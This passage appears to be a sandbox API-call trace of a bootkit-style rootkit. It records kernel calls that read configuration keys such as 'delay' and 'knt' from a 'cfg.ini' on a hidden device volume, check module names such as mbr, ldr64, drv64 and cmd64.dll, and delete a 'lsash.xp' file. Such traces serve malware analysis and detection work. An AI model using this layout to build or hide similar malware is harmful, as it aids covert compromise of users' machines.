(in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.591] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.591] IdePortDispatch () returned 0x103 [0118.591] KeWaitForMutexObject () returned 0x0 [0118.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.591] KeLeaveCriticalRegion () [0118.591] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.592] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.592] KeEnterCriticalRegion () [0118.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.592] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.592] KeLeaveCriticalRegion () [0118.592] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.592] KeEnterCriticalRegion () [0118.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.592] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.592] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003649ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.592] KeLeaveCriticalRegion () [0118.592] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.592] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.592] KeEnterCriticalRegion () [0118.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.592] ExFreePoolWithTag (P=0xfffffa80036499c0, Tag=0x0) [0118.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.592] KeLeaveCriticalRegion () [0118.592] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.592] ReleaseMutex (hMutex=0xf0) returned 1 [0118.592] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.592] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.592] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.592] KeEnterCriticalRegion () [0118.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.592] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.592] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.592] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.592] IdePortDispatch () returned 0x103 [0118.592] KeWaitForMutexObject () returned 0x0 [0118.592] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.593] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.593] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.593] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.593] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.593] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b9fa90 [0118.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.593] KeLeaveCriticalRegion () [0118.593] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.593] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.593] KeEnterCriticalRegion () [0118.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.593] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.593] KeLeaveCriticalRegion () [0118.593] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.593] KeEnterCriticalRegion () [0118.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.593] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.593] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.593] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.593] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.593] IdePortDispatch () returned 0x103 [0118.593] KeWaitForMutexObject () returned 0x0 [0118.593] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.593] KeLeaveCriticalRegion () [0118.593] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.593] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.593] KeEnterCriticalRegion () [0118.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.593] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003519000 [0118.593] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.593] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.593] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.593] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.593] IdePortDispatch () returned 0x103 [0118.594] KeWaitForMutexObject () returned 0x0 [0118.594] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.594] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.594] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.594] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.594] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.594] IdePortDispatch () returned 0x103 [0118.594] KeWaitForMutexObject () returned 0x0 [0118.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.594] KeLeaveCriticalRegion () [0118.594] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.595] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.595] KeEnterCriticalRegion () [0118.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.595] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.595] KeLeaveCriticalRegion () [0118.595] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.595] KeEnterCriticalRegion () [0118.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.595] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.595] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.595] KeLeaveCriticalRegion () [0118.595] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.595] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.595] KeEnterCriticalRegion () [0118.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.595] ExFreePoolWithTag (P=0xfffffa8003b9fa90, Tag=0x0) [0118.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.595] KeLeaveCriticalRegion () [0118.595] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.595] ReleaseMutex (hMutex=0xf0) returned 1 [0118.595] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.595] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.595] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.595] KeEnterCriticalRegion () [0118.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.595] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.595] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.595] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.595] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.595] IdePortDispatch () returned 0x103 [0118.595] KeWaitForMutexObject () returned 0x0 [0118.595] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.595] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.595] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.595] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.596] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.596] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdfde0 [0118.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.596] KeLeaveCriticalRegion () [0118.596] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.596] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.596] KeEnterCriticalRegion () [0118.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.596] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.596] KeLeaveCriticalRegion () [0118.596] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.596] KeEnterCriticalRegion () [0118.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.596] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.596] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.596] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.596] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.596] IdePortDispatch () returned 0x103 [0118.596] KeWaitForMutexObject () returned 0x0 [0118.596] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.596] KeLeaveCriticalRegion () [0118.596] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.596] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.596] KeEnterCriticalRegion () [0118.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.596] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800351a000 [0118.596] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.596] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.596] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.596] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.596] IdePortDispatch () returned 0x103 [0118.596] KeWaitForMutexObject () returned 0x0 [0118.597] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.597] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.597] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.597] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.597] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.597] IdePortDispatch () returned 0x103 [0118.597] KeWaitForMutexObject () returned 0x0 [0118.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.597] KeLeaveCriticalRegion () [0118.597] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.597] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.597] KeEnterCriticalRegion () [0118.597] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.597] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.598] KeLeaveCriticalRegion () [0118.598] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.598] KeEnterCriticalRegion () [0118.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.598] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.598] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.598] KeLeaveCriticalRegion () [0118.598] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.598] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.598] KeEnterCriticalRegion () [0118.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.598] ExFreePoolWithTag (P=0xfffffa8003bdfde0, Tag=0x0) [0118.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.598] KeLeaveCriticalRegion () [0118.598] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.598] ReleaseMutex (hMutex=0xf0) returned 1 [0118.598] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.598] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.598] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.598] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.598] KeEnterCriticalRegion () [0118.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.598] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.598] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.598] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.598] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.598] IdePortDispatch () returned 0x103 [0118.600] KeWaitForMutexObject () returned 0x0 [0118.600] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.600] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.600] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.600] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.600] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.600] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.600] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.600] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.600] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.600] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.600] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.600] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.600] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.600] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.600] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.600] KeLeaveCriticalRegion () [0118.600] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.600] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.600] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.600] KeEnterCriticalRegion () [0118.600] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.600] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.600] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.600] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.600] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.600] IdePortDispatch () returned 0x103 [0118.600] KeWaitForMutexObject () returned 0x0 [0118.600] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.600] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.600] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.600] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.600] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.600] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.600] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.600] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.600] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.600] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.600] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.601] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.601] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.601] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.601] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.601] KeLeaveCriticalRegion () [0118.601] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.601] ReleaseMutex (hMutex=0x100) returned 1 [0118.601] Sleep (dwMilliseconds=0x2bf20) [0118.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69e40df0, dwHighDateTime=0x1d24fa4)) [0118.607] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.607] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.607] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.607] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.607] KeEnterCriticalRegion () [0118.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.607] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.607] IdePortDispatch () returned 0x103 [0118.607] KeWaitForMutexObject () returned 0x0 [0118.608] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.608] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.608] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.608] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.608] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.608] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003adba20 [0118.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.608] KeLeaveCriticalRegion () [0118.608] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.608] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.608] KeEnterCriticalRegion 